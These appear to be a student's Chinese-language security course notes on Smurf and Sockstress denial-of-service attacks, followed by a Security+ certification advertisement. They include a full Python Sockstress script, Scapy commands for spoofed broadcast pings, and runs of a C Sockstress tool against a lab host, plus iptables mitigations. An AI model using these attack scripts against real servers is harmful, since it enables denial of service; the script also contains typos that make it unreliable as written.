安全牛学习笔记Smurf攻击Sockstress
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全牛学习笔记Smurf攻击Sockstress相关的知识,希望对你有一定的参考价值。
Smurf攻击 世界上最古老的DDOS攻击技术 - 向广播地址发送伪造源地址的ICMP echo Request (ping) 包 - LAN所有计算机向伪造源地址返回响应包 - 对现代操作系统几乎无效(不响应目标为广播的ping) Scapy - i=IP() - i.dst="1.1.1.255" - p=ICMP() - p.display() - r=(i/p) - send(IP(dst="1.1.1.255",src="1.1.1.2")/ICMP(),count=100,verbose=1) |
[email protected]:~$ ifconf
192.168.1.119
[email protected]:~# scapy
WARNING: NO route found for IPV6 destination :: (no default route?)
welcome to Scapy (2.3.2)
>>> i=IP()
>>> i.src="192.168.1.119"
>>> i.dst="192.168.1.255"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= tcp
chksum= None
src= 192.168.1.119
dst= 192.168.1.255
\options\
>>> p=ICMP()
>>> p.display()
###[ ICMP ]###
type=echo-request
code=0
chksum=None
id=0x0
seq=0x0
>>> send(i/p)
.
Sent 1 packets
>>> r=send(i/p)
.
Sent 1 packets
>>> r.display()
Traceback (most recent call last):
File "<console>", line 1, in <module>
AttributeError: ‘NoneType‘ object has no attribute ‘display‘
>>> send(IP(dst="1.1.1.255",src="1.1.1.2")/ICMP(),count=100,verbose=1)
[email protected]:~$ sudo tcpdump -i eth0
Sockstress 2008年由Jack C.Louis发现 针对TCP服务的拒绝五福攻击 - 消耗被工具目标系统资源 - 与攻击目标建立大量socket链接 - 完成三次握手,最后的ACK包 windows 大小为0(客户端不接收数据) - 攻击者资源消耗小(CPU、内存、带宽) - 异步攻击,单机可拒绝服务高配资源服务器 - Window 窗口实现的TCP流控 |
[email protected]:~# cp /media/sf_D_DRIVE/socketress.py .
----------------------------------------------------------------------
[sockstress.py]
#!/usr/bin/python
# -*- coding: utf-8 -*-
from scayp.all import *
from time import sleep
import thread
import logging
import os
import signal
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) !=4:
print "用法: ./sock_stress.py [目标IP] [端口] [线程数]"
print "举例: ./sock_stress.py 10.0.0.5 21 20 ## 请确定呗攻击端口处于开放状态"
sys.exit()
target = str(sys.argv[1])
dstport = int(sys.argv[2])
threads = int(sys.argv[3])
## 攻击函数
def sockstress(target,dstport):
while 0==0;
try:
x = random.randint(0,65535)
response = srl(IP(dst=target)/TCP(sport=x,dport=dstport,flags=‘S‘),timeout=1,verbose=0)
send(IP(dst=target)/ TCP(dsport=dstport,sport=x,window=0,flags=‘A‘,ack=(response[TCP].seq + 1))/‘\x00\x00‘,verbose=0)
except:
pass
## 停止攻击函数
def shutdown(signal, frame):
print ‘正在恢复 iptables 规则‘
os.system(‘iptable -D OUTPUT -p tcp --tcp-flas RST RST -d ‘ + target + ‘ -j DROP‘)
sys.exit()
## 添加iptables规则
os.system(‘iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ‘ + target + ‘ -j DROP‘)
signal.signal(signal.SIGINT, shutdown)
## 多线程攻击
print "\n攻击正在进行...按 Ctrl+C 停止攻击"
for x in range(0,threads):
thread.start_new_thread(sockstress, (target,dstport))
## 永远执行
while 0==0:
sleep(1)
----------------------------------------------------------------------
[email protected]:~# ./sockstress.py
WARNING: No route found for IPV6 destination :: (no default route?)
用法: ./sock_stress.py [目标IP] [端口] [线程数]
举例: ./sock_stress.py 10.0.0.5 21 20 ## 请确定呗攻击端口处于开放状态
[email protected]:~# ./sockstress.py 192.168.1.119 21 200
WARNING: No route found for IPV6 destination :: (no default route?)
攻击正在进行...按 Ctrl+C 停止攻击
[email protected]:~# iptable -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
DROP tcp -- anywhere 192.168.1.119 tcp flags:RST/RST
[email protected]:~# ifconfig
192.168.1.116
[email protected]:~# ping 192.168.1.119
[email protected]:~# ifconfig
10.0.2.15
[email protected]:~$ sudo netstat -pantu | grep ESTAB
[email protected]:~$ sudo netstat -pantu | grep ESTAB | wc -l
654
[email protected]:~$ free -m //内存使用量
[email protected]:~# nc 192.168.1.119 21
Sockstress Python 攻击脚本 - ./sockstress.py 1.1.1.1 21 200 C攻击脚本 - http://github.com/defuse/sockstress - gcc -Wall -c sockstress.c - gcc -pthread -o sockstress sockstress.o - ./sockstress 1.1.1.1:80 eth0 - ./sockstress 1.1.1.1:80 eth0 -p payloads/http 防火墙规则 - iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 1.1.1.1 -j DROP |
[email protected]:~/sockstree-master# gcc -Wall -c sockstress.c
[email protected]:~/sockstree-master# gcc -pthread -o sockstress sockstress.o
[email protected]:~/sockstree-master# ./sockstress
SOCKSTRESS - CVE-2008-4609 | [email protected]
[!] Too feww arguments
Usage: ./sockstress <ip>:<port><interface> [-p paload] [-d delay]
<ip> Victim IP address
<port> Victim port
<interface> Local network interface (e.g. eth0)
-p payload File containing data to send after connecting
Payload can be at most 1000 bytes
-d delay Microsecnds between SYN packets (default: 10000)
-h Help menu
**You must configure your firewall to drop TCP reset packets sent to <ip>**
[email protected]:~/sockstree-master# ./sockstress 192.168.1.119:21 -p payloads/
dns_a dnx_axfr http smtp
[email protected]:~/sockstree-master# ./sockstress 192.168.1.119:21 -p payloads/http
[email protected]:~/sockstree-master# cat payloads/
dns_a dnx_axfr http smtp
[email protected]:~/sockstree-master# cat payloads/dns_axfr
[email protected]:~/sockstree-master# cat payloads/http
[email protected]:~/sockstree-master# cat payloads/smtp
HELO gmail.com
MAIL FROM: [email protected]
RCPT TO: [email protected]
DATA
Subject: AAAAAAAAAAAAA
BBBBBBBBBBBBBBBBBBB
.
QUIT
[email protected]:~/sockstree-master# ./sockstress 192.168.1.119:21 -p payloads/http
SOCKSTRESS - CVE-2008-4609 | [email protected]
[+] Sending packets from eth0 (192.168.1.116)
[+] Attacking: 192.168.1.119:80
^C SENT: syn: 1333 ack: 133 RECV: synack: 1333 ack: 0 rst: 1333
[email protected]:~/sockstree-master# iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 1.1.1.1 -j DROP
[email protected]:~/sockstree-master# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
DROP tcp -- anywhere 192.168.1.119 tcp flags:RST/RST
[email protected]:~/sockstree-master# ./sockstress 192.168.1.119:21 -p payloads/http
SOCKSTRESS - CVE-2008-4609 | [email protected]
[+] Sending packets from eth0 (192.168.1.116)
[+] Attacking: 192.168.1.119:80
[+] SENT: syn: 1333 ack: 133 RECV: synack: 1333 ack: 0 rst: 0
Sockstress 防御措施 - 直到今天sockstress攻击仍然是一种很有效的DoS攻击方式 - 由于建立完整的TCP三步握手,因此使用syn cookie防御无效 - 根本的防御方法是采用白名单(不实际) - 折中对策:限制单位时间内每IP建的TCP连接数 封杀每30秒与80端口建立连接超过10个IP的地址 iptable -l INPUT -p tcp --dport 80 -m state --state NEW -m recent --set iptable -l INPUT -p tcp --dport 80 -m state --state NEW -m recent -- update --seconds 30 --hitcount 10 -j DROP 以上规则对DDOS攻击无效 |
[email protected]:~$ iptable -l INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
[email protected]:~$ iptable -l INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP
该笔记为安全牛课堂学员笔记,想看此课程或者信息安全类干货可以移步到安全牛课堂
Security+认证为什么是互联网+时代最火爆的认证?
牛妹先给大家介绍一下Security+
Security+ 认证是一种中立第三方认证,其发证机构为美国计算机行业协会CompTIA ;是和CISSP、ITIL 等共同包含在内的国际 IT 业 10 大热门认证之一,和CISSP偏重信息安全管理相比,Security+ 认证更偏重信息安全技术和操作。
通过该认证证明了您具备网络安全,合规性和操作安全,威胁和漏洞,应用程序、数据和主机安全,访问控制和身份管理以及加密技术等方面的能力。因其考试难度不易,含金量较高,目前已被全球企业和安全专业人士所普遍采纳。
Security+认证如此火爆的原因?
原因一:在所有信息安全认证当中,偏重信息安全技术的认证是空白的, Security+认证正好可以弥补信息安全技术领域的空白 。
目前行业内受认可的信息安全认证主要有CISP和CISSP,但是无论CISP还是CISSP都是偏重信息安全管理的,技术知识讲的宽泛且浅显,考试都是一带而过。而且CISSP要求持证人员的信息安全工作经验都要5年以上,CISP也要求大专学历4年以上工作经验,这些要求无疑把有能力且上进的年轻人的持证之路堵住。在现实社会中,无论是找工作还是升职加薪,或是投标时候报人员,认证都是必不可少的,这给年轻人带来了很多不公平。而Security+的出现可以扫清这些年轻人职业发展中的障碍,由于Security+偏重信息安全技术,所以对工作经验没有特别的要求。只要你有IT相关背景,追求进步就可以学习和考试。
原因二: IT运维人员工作与翻身的利器。
在银行、证券、保险、信息通讯等行业,IT运维人员非常多,IT运维涉及的工作面也非常广。是一个集网络、系统、安全、应用架构、存储为一体的综合性技术岗。虽然没有程序猿们“生当做光棍,死亦写代码”的悲壮,但也有着“锄禾日当午,不如运维苦“的感慨。天天对着电脑和机器,时间长了难免有对于职业发展的迷茫和困惑。Security+国际认证的出现可以让有追求的IT运维人员学习网络安全知识,掌握网络安全实践。职业发展朝着网络安全的方向发展,解决国内信息安全人才的匮乏问题。另外,即使不转型,要做好运维工作,学习安全知识取得安全认证也是必不可少的。
原因三:接地气、国际范儿、考试方便、费用适中!
CompTIA作为全球ICT领域最具影响力的全球领先机构,在信息安全人才认证方面是专业、公平、公正的。Security+认证偏重操作且和一线工程师的日常工作息息相关。适合银行、证券、保险、互联网公司等IT相关人员学习。作为国际认证在全球147个国家受到广泛的认可。
在目前的信息安全大潮之下,人才是信息安全发展的关键。而目前国内的信息安全人才是非常匮乏的,相信Security+认证一定会成为最火爆的信息安全认证。
本文出自 “11662938” 博客,请务必保留此出处http://11672938.blog.51cto.com/11662938/1972581
以上是关于安全牛学习笔记Smurf攻击Sockstress的主要内容,如果未能解决你的问题,请参考以下文章